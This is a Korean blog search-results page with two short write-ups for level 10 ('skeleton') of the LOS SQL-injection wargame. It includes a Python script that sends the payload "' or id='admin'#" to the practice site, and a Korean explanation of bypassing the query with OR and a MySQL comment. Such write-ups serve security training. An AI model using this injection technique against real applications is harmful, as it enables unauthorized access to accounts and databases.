고퍼

10번 검색 결과

해당 글 2건

LOS :: 10번 SKELETON

WRITE UP 1234567891011import requests url = "http://los.rubiya.kr/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php"session = {'PHPSESSID':'MY_SESSION'}data = {'pw':"' or id='admin'#"} res = requests.get(url, params=data, cookies = session) if "Clear!" in res.text: print("[♪] SKELETON Clear!") Colored by Color Scriptercs

Wargame/LOS(rubiya) 2018. 8. 14. 13:55

[LOS]10번 skeleton

강렬한 용사 스케레톤이 기다리고 있다. 따라가보자 코드를 보면 DB에서 나온 id가 admin이면 문제가 풀린다. 그러나 guest가 고정이 되어있으므로 or를 통해서 거짓처리를 해주어야 한다. 그러나 뒷부분에 1=0이라는 거짓조건이 존재하기 때문에 양쪽이 참이 되는것은 힘들다. 이를 해결하기 위해서 mysql 주석을 이용해서 뒤를 제거해주면 된다. 주석의 끝에는 꼭 공백이 필요하니 url인코딩으로 공백(%20)을 넣어주어야한다.

Wargame/LOS(eagle-jump) 2017. 8. 1. 16:28